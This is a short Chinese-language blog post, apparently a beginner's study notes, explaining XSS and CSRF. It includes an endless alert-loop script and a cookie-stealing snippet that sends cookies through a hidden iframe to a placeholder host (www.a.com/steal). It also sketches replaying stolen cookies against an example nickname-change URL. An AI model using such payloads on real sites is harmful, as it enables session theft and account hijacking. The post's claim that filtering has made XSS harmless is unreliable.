最近发现自己对网络安全这一块比较空白.
仅仅只是知道有一个 XSS (Cross-site script).也知道大体是怎么回事,但是从来没有写过代码测试和练习.
今天有空,就专门研究一下 XSS 和 CSRF
XSS
XSS 是 Cross-site script 缩写.
中文释义: 跨站脚本攻击.
基维百科:
XSS: 跨站脚本(Cross-site script)是一中网站应用程序的安全漏洞,是代码注入的一种.它允许恶意用户将代码注入到网站上,让其它正在观察网页时的用户受到影响.
理解起来也简单,无非就是在某个网站的某个请求里,提交一段 Javascript
代码而已.
现在很多网站后天都作了过滤,比如
<
,script
等危险关键字.
基本会在出现这样的情况了.
但是如果后台没有做这种危险的字符过率,一段很简单的XSS跨站脚本代码,<甚至都不用不跨站>,就可以支配所有访问这个页面的用户.
<script>while(true) { alert('被弹窗的恐惧支配吧??你关不掉der~') }</script>
XSS 既然翻译成 跨站脚本攻击..
上述那个代码只是循环弹窗而已,并未涉及到跨站.
所以不能算是完整的XSS攻击.顶多叫脚本攻击
所以,必须有跨站的操作,才能称为完整的XSS.
现在的网站中,或多或少的会把一些和用户相关的数据通过cookie传递到前台.
// 通过XSS把这么一段代码设置到网站页面中.
(function(w,d){
// 获取当前页面的cookie.
const cookie = d.cookie
const fromURL = w.host
const stealURL = `http://www.a.com/steal?from=${fromURL}&cookie=${cookie}`
const hiddenIframe = document.createElement('iframe')
hiddenIframe.width = '0px'
hiddenIframe.height = '0px'
hiddenIframe.src = stealURL
d.appendChild(hiddenIframe)
})(window,document)
通过这么一端脚本代码,可以将当前页面的cookie等信息发送到我自己的后台.
那么在我自己的后台就可以存储用户的一些比较私密的数据了.
这里有:
- 脚本
- 跨站
所以,可以称之为一个完整的XSS(cross-site script) 跨站脚本攻击.
但是目前基本所有的网站都做了危险字符过滤或者替换.这种攻击基本不会产生什么威胁了.
CSRF
CSRF 是 cross-site request forgery 的缩写.
中文释义: 跨站请求伪造.
基维百科:
跨站请求伪造(cross-site rquest forgery),也被称之为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF , 是一种挟制用户在当前已经登录的web页面上执行一些非本意的操作.
光看这单解释,好像能理解的半成.
- 用户要登录.
- 利用用户登陆的数据或者状态做一些只有在当前用户登陆情况下的事情.比如删帖.修改昵称...
上一节 XSS 攻击,如果我们能拿到用户的cookie等信息的话.
只要我们在抓取此网站的删帖链接,修改昵称链接.
查询需要传递的给后台的数据,如果是包含这个cookie的话.
那我们就可以在我们后台部署一套循环遍历的请求了.
比如修改昵称的链接和操作是: http://www.attacked.com/action/changeNickName?name=xxxxx
我们就可以在自己后台,请求里设置cookie.并请求这个链接,就可以修改用户的昵称了.
同理一些其他的操作.(比如删帖等)
总结:
- XSS 是跨站脚本攻击. (Cross-site script) ,只有脚本只能叫脚本攻击,必须有跨站的行为才能称之跨站脚本攻击.
- CSRF 跨站请求伪造(Cross-site request forgery),前提是拿到用户的登陆信息.之后可以伪造当前用户做一些非用户本意的操作.
网友评论